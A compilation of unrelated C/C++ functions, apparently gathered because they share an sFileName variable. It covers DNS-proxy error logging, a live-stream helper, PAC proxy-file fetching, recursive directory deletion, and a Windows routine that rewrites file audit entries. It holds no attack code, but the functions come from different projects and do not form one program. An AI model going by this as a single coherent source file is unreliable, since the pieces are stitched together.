(ErrorCode > 0) fwprintf_s(Output, L", error code is %d", (int)ErrorCode); fwprintf_s(Output, L".\n"); }break; //IPFilter Error case LOG_ERROR_IPFILTER: { fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> IPFilter Error: %ls", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); if (FileName != nullptr) { //Delete double backslash. std::wstring sFileName(FileName); while (sFileName.find(L"\\\\") != std::wstring::npos) sFileName.erase(sFileName.find(L"\\\\"), wcslen(L"\\")); //Write to file if (Line > 0) fwprintf_s(Output, L" in line %d of %ls", (int)Line, sFileName.c_str()); else fwprintf_s(Output, L" in %ls", sFileName.c_str()); } //About Windows Sockets Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms740668(v=vs.85).aspx. if (ErrorCode > 0) fwprintf_s(Output, L", error code is %d", (int)ErrorCode); fwprintf_s(Output, L".\n"); }break; //Hosts Error case LOG_ERROR_HOSTS: { fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> Hosts Error: %ls", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); if (FileName != nullptr) { //Delete double backslash. std::wstring sFileName(FileName); while (sFileName.find(L"\\\\") != std::wstring::npos) sFileName.erase(sFileName.find(L"\\\\"), wcslen(L"\\")); //Write to file if (Line > 0) fwprintf_s(Output, L" in line %d of %ls", (int)Line, sFileName.c_str()); else fwprintf_s(Output, L" in %ls", sFileName.c_str()); } //About Windows Sockets Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms740668(v=vs.85).aspx. if (ErrorCode > 0) fwprintf_s(Output, L", error code is %d", (int)ErrorCode); fwprintf_s(Output, L".\n"); }break; //Network Error //About Windows Sockets Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms740668(v=vs.85).aspx. case LOG_ERROR_NETWORK: { if (ErrorCode == 0) fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> Network Error: %ls.\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); #if defined(PLATFORM_WIN) else if (ErrorCode == WSAENETUNREACH) //Block error messages when network is unreachable. break; #endif else fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> Network Error: %ls, error code is %d.\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message, (int)ErrorCode); }break; //WinPcap Error #if defined(ENABLE_PCAP) case LOG_ERROR_PCAP: { fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> WinPcap Error: %ls.\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); }break; #endif //DNSCurve Error #if defined(ENABLE_LIBSODIUM) case LOG_ERROR_DNSCURVE: { #if defined(PLATFORM_WIN) if (ErrorCode == WSAENETUNREACH) //Block error messages when network is unreachable. break; else #endif fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> DNSCurve Error: %ls.\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); }break; #endif //Notice case LOG_MESSAGE_NOTICE: { fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> Notice: %ls.\n", TimeStructure->tm_year + 1900, TimeStructure->tm_mon + 1, TimeStructure->tm_mday, TimeStructure->tm_hour, TimeStructure->tm_min, TimeStructure->tm_sec, Message); }break; default: { fclose(Output); return false; } } //Close file. fclose(Output); return true; } return false; }
DTC::LiveStreamInfo *Content::AddRecordingLiveStream( int nRecordedId, int nChanId, const QDateTime &recstarttsRaw, int nMaxSegments, int nWidth, int nHeight, int nBitrate, int nAudioBitrate, int nSampleRate ) { if ((nRecordedId <= 0) && (nChanId <= 0 || !recstarttsRaw.isValid())) throw QString("Recorded ID or Channel ID and StartTime appears invalid."); // ------------------------------------------------------------------ // Read Recording From Database // ------------------------------------------------------------------ // TODO Should use RecordingInfo ProgramInfo pginfo; if (nRecordedId > 0) pginfo = ProgramInfo(nRecordedId); else pginfo = ProgramInfo(nChanId, recstarttsRaw.toUTC()); if (!pginfo.GetChanID()) { LOG(VB_UPNP, LOG_ERR, QString("AddRecordingLiveStream - for %1, %2 failed") .arg(QString::number(nRecordedId))); return NULL; } if (pginfo.GetHostname().toLower() != gCoreContext->GetHostName().toLower()) { // We only handle requests for local resources QString sMsg = QString("GetRecording: Wrong Host '%1' request from '%2'.") .arg( gCoreContext->GetHostName()) .arg( pginfo.GetHostname() ); LOG(VB_UPNP, LOG_ERR, sMsg); throw HttpRedirectException( pginfo.GetHostname() ); } QString sFileName( GetPlaybackURL(&pginfo) ); // ---------------------------------------------------------------------- // check to see if the file exists // ---------------------------------------------------------------------- if (!QFile::exists( sFileName )) { LOG( VB_UPNP, LOG_ERR, QString("AddRecordingLiveStream - for %1, %2 failed") .arg( nChanId ) .arg( recstarttsRaw.toUTC().toString() )); return NULL; } QFileInfo fInfo( sFileName ); return AddLiveStream( pginfo.GetStorageGroup(), fInfo.fileName(), pginfo.GetHostname(), nMaxSegments, nWidth, nHeight, nBitrate, nAudioBitrate, nSampleRate ); }
void CurlSocket::importPACFile() { // location information of the PAC File is always in %APPDATA%\Dimdim std::string sFileName(getenv("APPDATA")); sFileName.append("\\Dimdim\\proxyloc"); std::string sProxyFile(sFileName); sProxyFile.append(".dat"); std::ifstream fis(sFileName.c_str()); if (false == fis.is_open()) { // File not found vnclog.Print(LL_DIMDIM, "No proxy file imported. Will attempt DIRECT connection\r\n"); return; } std::string location(""); std::getline(fis, location); fis.close(); if (location.length() <= 0) { // Invalid location. vnclog.Print(LL_DIMDIM, "Invalid location. No proxy file imported. Will attempt DIRECT connection\r\n"); return; } if (location.find("LOCALFILE") != location.npos){} else { // Not stored locally CURLcode res; ByteBuffer chunk; CURL* proxyHandler = curl_easy_init(); curl_easy_setopt(proxyHandler, CURLOPT_URL, location.c_str()); curl_easy_setopt(proxyHandler, CURLOPT_WRITEFUNCTION, DimdimHelpers::ContentWriteCallback); curl_easy_setopt(proxyHandler, CURLOPT_WRITEDATA, &chunk); res = curl_easy_perform(proxyHandler); if (res != CURLE_OK) { // Operation failed somehow curl_easy_cleanup(proxyHandler); vnclog.Print(LL_DIMDIM, "Unable to fetch PAC file. Will attempt DIRECT connection\r\n"); return; } std::ofstream fs(sProxyFile.c_str()); std::stringstream fdata; fdata.clear(); fdata << chunk.getData(); std::string fsdata(fdata.str()); fsdata.assign(fsdata.substr(0, fsdata.find_last_of("}") + 1)); fs << fsdata.c_str(); fs.close(); curl_easy_cleanup(proxyHandler); } std::string url(""); DimdimHelpers::PrepareURL(url, "open"); std::string proxyInfo = DimdimHelpers::ParsePACFile(sProxyFile, url); if (proxyInfo.length() > 0) { vnclog.Print(LL_DIMDIM, VNCLOG("parsing PAC file gave %s \r\n"), proxyInfo.c_str()); } // Try to use DIRECT if possible if (proxyInfo.find("DIRECT") != proxyInfo.npos) { vnclog.Print(LL_DIMDIM, VNCLOG("PAC file parsed successfully. Detected DIRECT.\r\n")); return; } // Check if multiple proxies have been returned. In that case, just pick the data before the first // ';' and use it. if (proxyInfo.find("PROXY") != proxyInfo.npos) { proxyInfo.assign(proxyInfo.substr(proxyInfo.find_first_of("PROXY", 0), proxyInfo.find_first_of(";", proxyInfo.find("PROXY")))); } else { proxyInfo.assign(proxyInfo.substr(0, proxyInfo.find_first_of(";"))); } if (proxyInfo.find("PROXY") != proxyInfo.npos) { vnclog.Print(LL_DIMDIM, VNCLOG("PAC file parsed successfully. Detected PROXY.\r\n")); m_proxyType.assign("PROXY"); } else if (proxyInfo.find("SOCKS") != proxyInfo.npos) { vnclog.Print(LL_DIMDIM, VNCLOG("PAC file parsed successfully. Detected SOCKS.\r\n")); m_proxyType.assign("SOCKS"); } else { // Unsupported vnclog.Print(LL_DIMDIM, VNCLOG("Unable to parse PAC file. Defaulting to DIRECT.\r\n")); return; } m_proxyURL.assign(proxyInfo.substr(proxyInfo.find_first_of(" ") + 1, proxyInfo.length())); }
bool LFSDMSHelper::DeleteDirectoryAndContents(const CStdString& sDirName) { bool bRet = true; BOOL bContinue = TRUE; WIN32_FIND_DATA w32Data; ZeroMemory(&w32Data, sizeof(w32Data)); HANDLE hFile = FindFirstFile(sDirName + _T("\\*.*"), &w32Data); if (hFile == INVALID_HANDLE_VALUE) { return false; } while (bContinue) { CStdString sFileName(w32Data.cFileName); if ((sFileName == _T(".")) || (sFileName == _T(".."))) { bContinue = FindNextFile(hFile, &w32Data); continue; } if (w32Data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if (DeleteDirectoryAndContents(sDirName + _T("\\") + w32Data.cFileName) == false) { bRet = false; } } else { if (DeleteFile(sDirName + _T("\\") + w32Data.cFileName) == false) { ::Sleep(50); if (DeleteFile(sDirName + _T("\\") + w32Data.cFileName) == false) { CStdString sMessage(_T("Unable to remove File ") + sDirName + _T("\\") + w32Data.cFileName); LOGERROR(HRESULT_FROM_WIN32(GetLastError()), sMessage); bRet = false; } } } bContinue = FindNextFile(hFile, &w32Data); } FindClose(hFile); if (RemoveDirectory(sDirName) == FALSE) { ::Sleep(50); if (RemoveDirectory(sDirName) == FALSE) { CStdString sMessage(_T("Unable to remove Directory ") + sDirName + _T("\\") + w32Data.cFileName); LOGERROR(HRESULT_FROM_WIN32(GetLastError()), sMessage); bRet = false; } } return bRet; }
//Print errors to log file size_t __fastcall PrintError(const size_t Type, const PWSTR Message, const SSIZE_T Code, const PWSTR FileName, const size_t Line) { //Print Errors: ON/OFF. if (!Parameter.PrintError || Message == nullptr) return FALSE; //Get current date&time. tm Time = {0}; time_t tTime = 0; time(&tTime); localtime_s(&Time, &tTime); /* //Windows API SYSTEMTIME Time = {0}; GetLocalTime(&Time); fwprintf_s(Output, L"%u%u/%u %u:%u:%u -> %s.\n", Time.wYear, Time.wMonth, Time.wDay, Time.wHour, Time.wMinute, Time.wSecond, pBuffer); //Windows API //Convert to ASCII. char TimeBuf[ADDR_STRING_MAXSIZE] = {0}; asctime_s(TimeBuf, &Time); fwprintf_s(Output, L"%s -> %s.\n", TimeBuf, pBuffer); */ FILE *Output = nullptr; _wfopen_s(&Output, ErrorLogPath.c_str(), L"a,ccs=UTF-8"); if (Output != nullptr) { // Error Type // 01: System Error // 02: Parameter Error // 03: IPFilter Error // 04: Hosts Error // 05: Winsock Error // 06: WinPcap Error // 07: DNSCurve Error switch (Type) { //System Error case SYSTEM_ERROR: { if (Code == NULL) { fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> System Error: %ls.\n", Time.tm_year + 1900, Time.tm_mon + 1, Time.tm_mday, Time.tm_hour, Time.tm_min, Time.tm_sec, Message); } else { //About System Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx. if (Code == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT) fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> System Error: %ls, ERROR_FAILED_SERVICE_CONTROLLER_CONNECT(The service process could not connect to the service controller).\n", Time.tm_year + 1900, Time.tm_mon + 1, Time.tm_mday, Time.tm_hour, Time.tm_min, Time.tm_sec, Message); else fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> System Error: %ls, error code is %d.\n", Time.tm_year + 1900, Time.tm_mon + 1, Time.tm_mday, Time.tm_hour, Time.tm_min, Time.tm_sec, Message, (int)Code); } }break; //Parameter Error case PARAMETER_ERROR: { fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> Parameter Error: %ls", Time.tm_year + 1900, Time.tm_mon + 1, Time.tm_mday, Time.tm_hour, Time.tm_min, Time.tm_sec, Message); if (FileName != nullptr && Line != NULL) { //Delete double backslash. std::wstring sFileName(FileName); while (sFileName.find(L"\\\\") != std::wstring::npos) sFileName.erase((size_t)sFileName.find(L"\\\\"), 1U); //Write to file fwprintf_s(Output, L" in line %d of %ls", (int)Line, sFileName.c_str()); } //About Windows Sockets Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms740668(v=vs.85).aspx. if (Code != NULL) fwprintf_s(Output, L", error code is %d", (int)Code); fwprintf_s(Output, L".\n"); }break; //IPFilter Error case IPFILTER_ERROR: { fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> IPFilter Error: %ls", Time.tm_year + 1900, Time.tm_mon + 1, Time.tm_mday, Time.tm_hour, Time.tm_min, Time.tm_sec, Message); if (FileName != nullptr && Line != NULL) { //Delete double backslash. std::wstring sFileName(FileName); while (sFileName.find(L"\\\\") != std::wstring::npos) sFileName.erase((size_t)sFileName.find(L"\\\\"), 1U); //Write to file fwprintf_s(Output, L" in line %d of %ls", (int)Line, sFileName.c_str()); } //About Windows Sockets Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms740668(v=vs.85).aspx. if (Code != NULL) fwprintf_s(Output, L", error code is %d", (int)Code); fwprintf_s(Output, L".\n"); }break; //Hosts Error case HOSTS_ERROR: { fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> Hosts Error: %ls", Time.tm_year + 1900, Time.tm_mon + 1, Time.tm_mday, Time.tm_hour, Time.tm_min, Time.tm_sec, Message); if (FileName != nullptr && Line != NULL) { //Delete double backslash. std::wstring sFileName(FileName); while (sFileName.find(L"\\\\") != std::wstring::npos) sFileName.erase((size_t)sFileName.find(L"\\\\"), 1U); //Write to file fwprintf_s(Output, L" in line %d of %ls", (int)Line, sFileName.c_str()); } //About Windows Sockets Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms740668(v=vs.85).aspx. if (Code != NULL) fwprintf_s(Output, L", error code is %d", (int)Code); fwprintf_s(Output, L".\n"); }break; //Winsock Error //About Windows Sockets Error Codes, see http://msdn.microsoft.com/en-us/library/windows/desktop/ms740668(v=vs.85).aspx. case WINSOCK_ERROR: { if (Code == NULL) fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> Winsock Error: %ls.\n", Time.tm_year + 1900, Time.tm_mon + 1, Time.tm_mday, Time.tm_hour, Time.tm_min, Time.tm_sec, Message); else fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> Winsock Error: %ls, error code is %d.\n", Time.tm_year + 1900, Time.tm_mon + 1, Time.tm_mday, Time.tm_hour, Time.tm_min, Time.tm_sec, Message, (int)Code); }break; //WinPcap Error case WINPCAP_ERROR: { fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> WinPcap Error: %ls.\n", Time.tm_year + 1900, Time.tm_mon + 1, Time.tm_mday, Time.tm_hour, Time.tm_min, Time.tm_sec, Message); }break; //DNSCurve Error case DNSCURVE_ERROR: { fwprintf_s(Output, L"%d-%02d-%02d %02d:%02d:%02d -> DNSCurve Error: %ls.\n", Time.tm_year + 1900, Time.tm_mon + 1, Time.tm_mday, Time.tm_hour, Time.tm_min, Time.tm_sec, Message); }break; default: { fclose(Output); return EXIT_FAILURE; } } fclose(Output); return EXIT_SUCCESS; } return EXIT_FAILURE; }
BOOL CNTService::ModifyVistaDefaultAuditing(string dir, int remove) { PSECURITY_DESCRIPTOR pSD = NULL; HANDLE hToken; PACL mySacl=NULL; DWORD ret=0; TOKEN_PRIVILEGES tp; LUID luid; if ( !LookupPrivilegeValue(NULL,SE_SECURITY_NAME,&luid)) { printf("LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Enable the privilege or disable all privileges. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); if ( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL)) { printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { printf("The token does not have the specified privilege. \n"); return FALSE; } //recurse through the dir WIN32_FIND_DATA findData; char Match[32], Replace[32]; if (remove){ strncpy_s(Match,_countof(Match),"Everyone",_TRUNCATE); strncpy_s(Replace,_countof(Replace),"ANONYMOUS LOGON",_TRUNCATE); } else { strncpy_s(Match,_countof(Match),"ANONYMOUS LOGON",_TRUNCATE); strncpy_s(Replace,_countof(Replace),"Everyone",_TRUNCATE); } HANDLE hFind=FindFirstFile((dir+"\\*.*").c_str(), &findData); if (hFind == INVALID_HANDLE_VALUE) { return TRUE; } // iterate over file names in directory do { string sFileName(findData.cFileName); if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { // Directory if (sFileName != "." && sFileName != "..") { // descent recursively if (!ModifyVistaDefaultAuditing(dir+"\\"+sFileName, remove)) return FALSE; } } else { // File // grab and modify the file SACL ret = GetNamedSecurityInfo((char *)(dir+"\\"+findData.cFileName).c_str(),SE_FILE_OBJECT,SACL_SECURITY_INFORMATION,NULL,NULL,NULL,&mySacl,&pSD); if (ret == ERROR_SUCCESS && mySacl != NULL && mySacl->AceCount > 0) { int SetNewAcl=0; PACL pNewAcl; ACL_SIZE_INFORMATION aclSizeInfo; ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION)); aclSizeInfo.AclBytesInUse = sizeof(ACL); if (!GetAclInformation(mySacl,(LPVOID)&aclSizeInfo,sizeof(ACL_SIZE_INFORMATION),AclSizeInformation)) { printf("Can't find ACL info, exiting\n"); return FALSE; } pNewAcl = (PACL)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,aclSizeInfo.AclBytesInUse); if (!pNewAcl) { printf("Can't allocate new ACL, exiting\n"); return FALSE; } if (!InitializeAcl(pNewAcl,aclSizeInfo.AclBytesInUse,ACL_REVISION)) { printf("Can't allocate new ACL, exiting\n"); return FALSE; } //printf("Checking: %s[%d]\n",(char *)(dir+"\\"+findData.cFileName).c_str(),mySacl->AceCount); for (int i=0; i< mySacl->AceCount; i++) { PVOID pAce;//PACE_HEADER? SID *pAceSid, *pNewAceSid=NULL; DWORD dwCbName = 0; DWORD dwCbDomainName = 0; SID_NAME_USE SidNameUse; TCHAR bufName[MAX_PATH]=""; TCHAR bufDomain[MAX_PATH]=""; ACCESS_MASK mask; SYSTEM_AUDIT_ACE *SA_Ace; TCHAR bufNewDomain[MAX_PATH]; DWORD dwNewCbDomainName = 0; DWORD dwSidSize = 0; dwNewCbDomainName = _countof(bufNewDomain); BOOL bSuccess; if (GetAce(mySacl,i,&pAce)) { if (((ACE_HEADER *)pAce)->AceType != SYSTEM_AUDIT_ACE_TYPE) { printf("ACE ERROR: not SYSTEM_AUDIT_ACE_TYPE\n"); continue; } SA_Ace = (SYSTEM_AUDIT_ACE *)pAce; pAceSid = (SID *)(&SA_Ace->SidStart); mask = SA_Ace->Mask; dwCbName = _countof(bufName); dwCbDomainName = _countof(bufDomain); bSuccess = LookupAccountSid(NULL, pAceSid, bufName, &dwCbName, bufDomain, &dwCbDomainName, &SidNameUse); if (!bSuccess) { printf("Failed to grab SID [%d]", GetLastError()); return FALSE; } //printf("ACE of %s\\%s: %d\n", bufDomain, bufName, mask); if (!strcmp(bufName,Match)) { bSuccess = LookupAccountName(NULL, Replace, NULL, &dwSidSize, bufNewDomain, &dwNewCbDomainName,&SidNameUse); if (!bSuccess && GetLastError() == ERROR_INSUFFICIENT_BUFFER) { pNewAceSid = (SID *)malloc(dwSidSize); if (!pNewAceSid) { printf("memory failed\n"); if (pNewAcl) HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl); return FALSE; } bSuccess = LookupAccountName(NULL, Replace, pNewAceSid, &dwSidSize, bufNewDomain, &dwNewCbDomainName,&SidNameUse); if (bSuccess) { if (!AddAuditAccessAce(pNewAcl,ACL_REVISION,mask,pNewAceSid,TRUE,TRUE)) { printf("Failed to updated ACL[%d]\n",GetLastError()); free(pNewAceSid); if (pNewAcl) HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl); return FALSE; } SetNewAcl=1; } else { printf("FAILED: %d\n", GetLastError()); //printf("\n"); } free(pNewAceSid); } else { printf("FAILED to find %s\n",Replace); } } else { if (!AddAce(pNewAcl,ACL_REVISION,MAXDWORD,pAce,((PACE_HEADER)pAce)->AceSize)) { printf("Couldn't add ACE to acl [%d]\n",GetLastError()); if (pNewAcl) HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl); return FALSE; } } } else { printf("ACE error %d:%d[%d]\n",mySacl->AceCount,i,GetLastError()); return FALSE; } } if (SetNewAcl && pNewAcl) { ret = SetNamedSecurityInfo((char *)(dir+"\\"+findData.cFileName).c_str(),SE_FILE_OBJECT,SACL_SECURITY_INFORMATION,NULL,NULL,NULL,pNewAcl); if (ret == ERROR_SUCCESS) { printf("Fixed: %s\n",(char *)(dir+"\\"+findData.cFileName).c_str()); } else { printf("Failed to fix: %s\n",(char *)(dir+"\\"+findData.cFileName).c_str()); } } if (pNewAcl) HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl); } else { if (ret) printf("fail %d %s\n", ret,(char *)(dir+"\\"+findData.cFileName).c_str()); //else printf("NO SACL: %s\n",(char *)(dir+"\\"+findData.cFileName).c_str()); } if (pSD) LocalFree(pSD); } } while (FindNextFile(hFind, &findData)); return TRUE; }